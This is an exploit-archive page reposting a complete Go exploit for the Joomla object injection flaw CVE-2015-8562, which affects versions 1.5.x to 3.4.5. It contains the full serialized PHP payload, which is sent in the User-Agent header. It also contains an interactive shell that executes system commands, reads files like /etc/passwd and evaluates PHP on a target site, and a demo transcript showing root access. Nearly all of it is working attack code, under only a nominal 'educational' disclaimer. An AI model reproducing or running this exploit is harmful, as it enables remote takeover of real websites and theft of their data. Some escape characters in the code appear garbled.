Home / os / winmobile

Joomla 3.4.5 Object Injection

Posted on 31 December 2015

package main

/*
**************************************************************************
* Exploit Title: Joomla 1.5.x to 3.4.5 Object Injection Exploit
* Exploit Author: Khashayar Fereidani ( http://fereidani.com )
* Version: 1.5.x to 3.4.5
* CVE : CVE-2015-8562
**************************************************************************
* THIS EXPLOIT PUBLISHED ONLY FOR EDUCATIONAL PROPOSES ANY ILLEGAL USAGE
* IS ON YOUR OWN RESPONSIBILITY
**************************************************************************
* How to run : (you need golang compiler from golang.org)
* go run exploit.go http://target/path
* or
* go build exploit.go
* ./exploit http://target/path
**************************************************************************
* DEMO :

$ ./exploit 192.168.1.113/joomla
###############################################
# Joomla Remote Command Execution 0day Exploit
# Exploited by: Khashayar Fereidani
# http://fereidani.com
# Vulnerable Versions: 1.5.x to 3.4.5
###############################################

Attacking to http://FILTERED.TLD/joomla/
Target is vulnerable !
# Command Line Documentation :
read FILEPATH read file from FILEPATH
dir DIRPATH list directory in DIRPATH
exec COMMAND execute system command
eval phpcode evaluate PHP Code
help display this help
exit close exploit console

[*] Examples:
read /etc/passwd
dir /etc/
exec ls -lah
eval include('/etc/passwd')

root@joomla:$ exec uname -a
Linux vm2.local 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
root@joomla:$

 */

import (
 "fmt"
 "net/http"
 "regexp"
 "os"
 "io/ioutil"
 "bytes"
 "net/http/cookiejar"
 "net/url"
 "bufio"
 "strings"
)

var target string;

var helpString=`# Command Line Documentation :
read FILEPATH read file from FILEPATH
dir DIRPATH list directory in DIRPATH
exec COMMAND execute system command
eval phpcode evaluate PHP Code
help display this help
exit close exploit console

[*] Examples:
read /etc/passwd
dir /etc/
exec ls -lah
eval include('/etc/passwd')

`

var validHttpUrl=regexp.MustCompile("^http[s]{0,1}://")

var resultRegex=regexp.MustCompile("(?sm)iMH3r3=(.*)")

var cmdRegex=regexp.MustCompile("(\w+)\s(.+)")

var newLine=regexp.MustCompile("[\n\r]")

var client *http.Client

func newRequest(command string) *http.Request{
 values:=url.Values{}
 values.Set("1","echo('iMH3r3=');"+command+";")

 req,err:=http.NewRequest("POST",target,bytes.NewBufferString(values.Encode()))

 if err!=nil{
 panic(err)
 }

 req.Header.Set("User-Agent",`123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"a";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:43:"eval($_POST[1]);JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"connection";i:1;}`+"xf0xfdxfdxfd")
 req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
 return req
}

func escape(str string) string{
 return strings.Replace(str,"'","\'",-1)
}

func runCommand(command string){
 res,err:=client.Do(newRequest(command))

 if err!=nil{
 fmt.Println(err.Error())
 }else{
 defer res.Body.Close()
 resBytes,err:=ioutil.ReadAll(res.Body)
 str:=string(resBytes)

 if err!=nil{
 fmt.Println(err)
 }
 match:=resultRegex.FindStringSubmatch(str)
 if len(match)>0{
 fmt.Print(match[0][7:])
 }
 }

}

func confirm() bool{
 res,err:=client.Do(newRequest(""))

 if err!=nil{
 fmt.Println(err)
 return false
 }else{
 if res.StatusCode==500{
 fmt.Println("Patched PHP Version :( !")
 return false
 }
 defer res.Body.Close()
 resBytes,err:=ioutil.ReadAll(res.Body)
 str:=string(resBytes)

 if err!=nil{
 fmt.Println(err)
 }
 match:=resultRegex.FindStringSubmatch(str)
 if len(match)>0{
 return true
 }else{
 return false
 }
 }
}

func main(){
 fmt.Print(`###############################################
# Joomla Remote Command Execution 0day Exploit
# Exploited by: Khashayar Fereidani
# http://fereidani.com
# Vulnerable Versions: 1.5.0 to 3.4.5
###############################################
`)
 options := cookiejar.Options{}

 jar, err := cookiejar.New(&options)
 if err != nil {
 panic(err)
 }

 client = &http.Client{
 Jar:jar,
 }

 if len(os.Args)<2{
 fmt.Println("Insufficient input , please run ./exploit http://targeturl/path/")
 return
 }

 target=os.Args[1]
 if(!validHttpUrl.MatchString(target)){
 target="http://"+target
 }

 if string(target[len(target)-1])!="/"{
 target+="/"
 }

 fmt.Println("Attacking to ",target)

 res,err:=client.Do(newRequest(""))
 if err!=nil{
 fmt.Println("Request Error:",err)
 return
 }
 ioutil.ReadAll(res.Body)
 res.Body.Close()

 if confirm(){
 fmt.Println("Target is vulnerable !")
 //runCommand("system('ls -la')")
 stdinreader := bufio.NewReader(os.Stdin)

 fmt.Println(helpString)
 for {
 var line string
 fmt.Print("root@joomla:$ ")
 line,_=stdinreader.ReadString('
')
 line=newLine.ReplaceAllString(line,"")
 match:=cmdRegex.FindStringSubmatch(line)
 if len(match)<3 {
 if (line=="exit"){
 return
 }

 if !(line=="help"){
 fmt.Println("Wrong input !")
 }

 fmt.Println(helpString)
 }else{
 cmd:=match[1]
 input:=escape(match[2])
 switch cmd {
 case "exec":
 runCommand("system('"+input+"')")
 case "read":
 runCommand("readfile('"+input+"')")
 case "dir":
 runCommand("$a=scandir('"+input+"');foreach($a as $v){echo $v."\n";}")
 case "eval":
 runCommand(match[2])
 }
 }
 }
 }else{
 fmt.Println("Target is not vulnerable!")
 }

}

 

TOP